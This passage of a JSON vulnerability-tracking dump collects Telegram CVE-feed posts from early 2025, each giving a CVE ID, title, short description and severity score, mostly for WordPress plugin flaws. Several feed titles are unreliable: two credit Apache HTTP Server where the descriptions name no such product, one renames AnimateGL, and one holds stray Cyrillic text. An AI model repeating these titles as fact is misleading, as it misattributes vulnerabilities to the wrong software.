Injection.This issue affects Finder ERP/CRM (New System): before 18.12.2024. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T17:11:02.000000Z"}, {"uuid": "35518188-019a-4927-b243-945ed0181c60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://t.me/cvedetector/19635", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12097 - Boceksoft Informatics E-Travel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12097 \nPublished : March 5, 2025, 2:15 p.m. | 53\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Boceksoft Informatics E-Travel allows SQL Injection.This issue affects E-Travel: before 15.12.2024. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T16:56:40.000000Z"}, {"uuid": "d89a76e6-f27d-4a4b-a860-afa343378e4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12650", "type": "seen", "source": "https://t.me/cvedetector/19631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12650 - Apache HTTP Server Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12650 \nPublished : March 5, 2025, 12:15 p.m. | 51\u00a0minutes ago \nDescription : An attacker with low privileges can manipulate the requested memory size, causing the application to use an invalid memory area. This could lead to a crash of the application but it does not affected other applications. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T14:26:18.000000Z"}, {"uuid": "8ceaafbf-7dd7-48c7-ba27-9a354b61ed8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12281", "type": "seen", "source": "https://t.me/cvedetector/19630", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12281 - Homey Theme for WordPress Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12281 \nPublished : March 5, 2025, 12:15 p.m. | 51\u00a0minutes ago \nDescription : The Homey theme for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.2. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the Editor or Shop Manager role. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T14:26:15.000000Z"}, {"uuid": "1b537108-f8d8-400f-a4b3-4eecaea86725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://t.me/cvedetector/19647", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12799 - OpenText Identity Manager Advanced Edition: Credential Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12799 \nPublished : March 5, 2025, 3:15 p.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : Insufficiently Protected Credentials  \nvulnerability in OpenText Identity Manager Advanced Edition on Windows, Linux,  \n64 bit allows Privilege Abuse. This vulnerability could allow an  \nauthenticated user to obtain higher privileged user\u2019s sensitive information via  \ncrafted payload.  \n  \nThis issue affects Identity Manager Advanced  \nEdition: from 4.8.0.0 through 4.8.7.0102, 4.9.0.0. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T18:37:11.000000Z"}, {"uuid": "cc59d6fa-3f02-4427-821e-d439a2db80e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12815", "type": "seen", "source": "https://t.me/cvedetector/19624", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12815 - WordPress Point Maker Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12815 \nPublished : March 5, 2025, 10:15 a.m. | 48\u00a0minutes ago \nDescription : The Point Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'point_maker' shortcode in all versions up to, and including, 0.1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-05T12:46:08.000000Z"}, {"uuid": "177215b7-7c76-4442-b0a8-ee7d01a67ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://t.me/cvedetector/15439", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12593 - \"WPForms Drag and Drop Template Builder Stored XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-12593 \nPublished : Jan. 15, 2025, 12:15 p.m. | 46\u00a0minutes ago \nDescription : The PDF for WPForms + Drag and Drop Template Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's yeepdf_dotab shortcode in all versions up to, and including, 4.6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T14:16:31.000000Z"}, {"uuid": "7d432526-8b75-4a57-bbcb-d4ebae7d71ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12818", "type": "seen", "source": "https://t.me/cvedetector/15420", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12818 - The WP Smart TV plugin for WordPress is vulnerable\", \n  \"Content\": \"CVE ID : CVE-2024-12818 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The WP Smart TV plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'tv-video-player' shortcode in all versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:53.000000Z"}, {"uuid": "7cc17640-f5cd-4134-8a4b-6047b03fdbd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12423", "type": "seen", "source": "https://t.me/cvedetector/15419", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12423 - \"Contact Form 7 Redirect & Thank You Page Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12423 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The Contact Form 7 Redirect & Thank You Page plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'post' parameter in all versions up to, and including, 1.0.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:49.000000Z"}, {"uuid": "9c16dd2c-44cf-4339-81cd-10e6903270f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12403", "type": "seen", "source": "https://t.me/cvedetector/15418", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12403 - \"Apache Word Press Image Gallery Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12403 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : The Image Gallery \u2013 Responsive Photo Gallery plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'awsmgallery' parameter in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:48.000000Z"}, {"uuid": "ddaaffa5-49ae-4b0e-a907-be114919f778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/cvedetector/15417", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12297 - Moxa EDS-508A Series Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12297 \nPublished : Jan. 15, 2025, 10:15 a.m. | 26\u00a0minutes ago \nDescription : Moxa\u2019s Ethernet switch EDS-508A Series, running firmware version 3.11 and earlier, is vulnerable to an authentication bypass because of flaws in its authorization mechanism. Although both client-side and back-end server verification are involved in the process, attackers can exploit weaknesses in its implementation. These vulnerabilities may enable brute-force attacks to guess valid credentials or MD5 collision attacks to forge authentication hashes, potentially compromising the security of the device. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-15T11:45:48.000000Z"}, {"uuid": "ac548918-9cc2-4c48-a363-9d293f92b1ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12240", "type": "seen", "source": "https://t.me/cvedetector/15247", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12240 - SiteOrigin Page Builder Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12240 \nPublished : Jan. 14, 2025, 11:15 a.m. | 39\u00a0minutes ago \nDescription : The Page Builder by SiteOrigin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the row label parameter in all versions up to, and including, 2.31.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T13:09:11.000000Z"}, {"uuid": "3717794d-ee10-43df-a28d-c03d62617a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12859", "type": "seen", "source": "https://t.me/cvedetector/17118", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12859 - BoomBox Theme Extensions WordPress Local File Inclusion\u0446\u0430\u043c\u0438 Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12859 \nPublished : Feb. 3, 2025, 8:15 p.m. | 22\u00a0minutes ago \nDescription : The BoomBox Theme Extensions plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.8.0 via the 'boombox_listing' shortcode 'type' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-03T22:00:20.000000Z"}, {"uuid": "e1869448-5f07-4e8e-b667-38424e2f30b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12171", "type": "seen", "source": "https://t.me/cvedetector/17004", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12171 - ELEX WordPress HelpDesk Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-12171 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the 'eh_crm_agent_add_user' AJAX action in all versions up to, and including, 3.2.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create new administrative user accounts. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:34.000000Z"}, {"uuid": "94a97053-137f-48ed-9d02-c262eaaef6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12620", "type": "seen", "source": "https://t.me/cvedetector/17001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12620 - Oracle of Animations Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12620 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The AnimateGL Animations for WordPress \u2013 Elementor & Gutenberg Blocks Animations plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'agl_json' AJAX action in all versions up to, and including, 1.4.23. This makes it possible for unauthenticated attackers to update the plugin's settings. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:29.000000Z"}, {"uuid": "3540e7ce-dab9-4b36-81b9-dfa50dcdea3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12184", "type": "seen", "source": "https://t.me/cvedetector/17000", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12184 - Cimatti WordPress Contact Forms Remote File Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12184 \nPublished : Feb. 1, 2025, 4:15 a.m. | 2\u00a0hours, 21\u00a0minutes ago \nDescription : The WordPress Contact Forms by Cimatti plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the accua_forms_download_submitted_file() function in all versions up to, and including, 1.9.4. This makes it possible for unauthenticated attackers to download other user submitted forms. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:28.000000Z"}, {"uuid": "8b4ba4d5-2484-47e3-bc31-1dc380143da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "Telegram/N4LAoa0eCXSp1NarIiUkOrZo3F55hEMVHqAyE620STfhf8JP", "content": "", "creation_timestamp": "2025-02-18T23:42:23.000000Z"}, {"uuid": "24f8caa7-2056-4234-9578-d2e4824e965d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "Telegram/wLCXMWztOwOpxZshQNgOfhSPHkJjz69RIF0MFtE9HHVh5M8j", "content": "", "creation_timestamp": "2025-02-18T23:42:23.000000Z"}, {"uuid": "aa43d433-160c-4989-808e-faab566b5e20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12768", "type": "seen", "source": "https://t.me/cvedetector/16993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12768 - WordPress Responsive Iframe Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12768 \nPublished : Feb. 1, 2025, 6:15 a.m. | 21\u00a0minutes ago \nDescription : The Responsive iframe WordPress plugin through 1.2.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:17.000000Z"}, {"uuid": "9c43474f-4b86-4606-bc90-535a8ac350a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12825", "type": "seen", "source": "https://t.me/cvedetector/17012", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12825 - Custom Related Posts Plugin for WordPress Unauthorized Access & Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12825 \nPublished : Feb. 1, 2025, 8:15 a.m. | 23\u00a0minutes ago \nDescription : The Custom Related Posts plugin for WordPress is vulnerable to unauthorized access & modification of data due to a missing capability check on three AJAX actions in all versions up to, and including, 1.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to search posts and link/unlink relations. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T09:47:57.000000Z"}, {"uuid": "2c9aad92-5900-41f4-9c38-fdd25287afb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12041", "type": "seen", "source": "https://t.me/cvedetector/16996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12041 - Directorist WordPress Business Directory Plugin Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12041 \nPublished : Feb. 1, 2025, 6:15 a.m. | 21\u00a0minutes ago \nDescription : The Directorist: AI-Powered WordPress Business Directory Plugin with Classified Ads Listings plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 8.0.12 via the /wp-json/directorist/v1/users/ endpoint. This makes it possible for unauthenticated attackers to extract sensitive data including including usernames, email addresses, names, and more information about users. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-01T08:07:22.000000Z"}, {"uuid": "a4c7706e-9b1d-447b-b640-7d644c101afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://t.me/cvedetector/15913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12104 - Atarim Visual Website Collaboration Unauthenticated File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12104 \nPublished : Jan. 21, 2025, 10:15 a.m. | 38\u00a0minutes ago \nDescription : The Visual Website Collaboration, Feedback & Project Management \u2013 Atarim plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the wpf_delete_file and wpf_delete_file functions in all versions up to, and including, 4.0.9. This makes it possible for unauthenticated attackers to delete project pages and files. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-21T11:56:28.000000Z"}, {"uuid": "7c812632-0caa-4e85-b328-668c9698e42f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://t.me/cvedetector/15912", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12005 - \"WordPress WP-BibTeX CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12005 \nPublished : Jan. 21, 2025, 10:15 a.m. | 38\u00a0minutes ago \nDescription : The WP-BibTeX plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.1. This is due to missing or incorrect nonce validation on the wp_bibtex_option_page() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-21T11:56:27.000000Z"}, {"uuid": "30d77824-4bf4-45f8-a5dc-5c6af7a0e73c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12696", "type": "seen", "source": "https://t.me/cvedetector/15790", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12696 - WordPress Picture Gallery Frontend Image Uploads AJAX Photo List Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12696 \nPublished : Jan. 18, 2025, 7:15 a.m. | 18\u00a0minutes ago \nDescription : The Picture Gallery \u2013 Frontend Image Uploads, AJAX Photo List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's videowhisper_picture_upload_guest shortcode in all versions up to, and including, 1.5.22 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T08:42:30.000000Z"}, {"uuid": "7cdf54b5-c3a0-4f77-bee9-dce7c3365322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12385", "type": "seen", "source": "https://t.me/cvedetector/15796", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12385 - \"WordPress WP Abstracts CSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12385 \nPublished : Jan. 18, 2025, 7:15 a.m. | 18\u00a0minutes ago \nDescription : The WP Abstracts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing nonce validation on the wpabstracts_load_status() and wpabstracts_delete_abstracts() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-18T08:42:38.000000Z"}, {"uuid": "7122498d-b6d7-4075-8d55-54ac58c6a536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://t.me/cvedetector/15701", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12703 - Autodesk AutoCAD Deserialization Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12703 \nPublished : Jan. 17, 2025, 11:15 a.m. | 19\u00a0minutes ago \nDescription : CWE-502: Deserialization of untrusted data vulnerability exists that could lead to loss of confidentiality, integrity  \nand potential remote code execution on workstation when a non-admin authenticated user opens a malicious  \nproject file. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T12:36:39.000000Z"}, {"uuid": "dc12d230-4c27-4eea-abdb-dd7b6972b074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://t.me/cvedetector/15700", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12142 - Apache HTTP Server Information Disclosure and Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12142 \nPublished : Jan. 17, 2025, 11:15 a.m. | 19\u00a0minutes ago \nDescription : CWE-200: Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists that could  \ncause information disclosure of restricted web page, modification of web page and denial of  \nservice when specific web pages are modified and restricted functions are invoked. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-17T12:36:38.000000Z"}, {"uuid": "5d545d10-19e6-46ec-aaaf-41941174f814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://t.me/cvedetector/15698", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12399 - \"Rockwell Automations HMI Untrusted Transmission Integrity Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12399 \nPublished : Jan. 17, 2025, 10:15 a.m. | 22\u00a0minutes ago \nDescription : 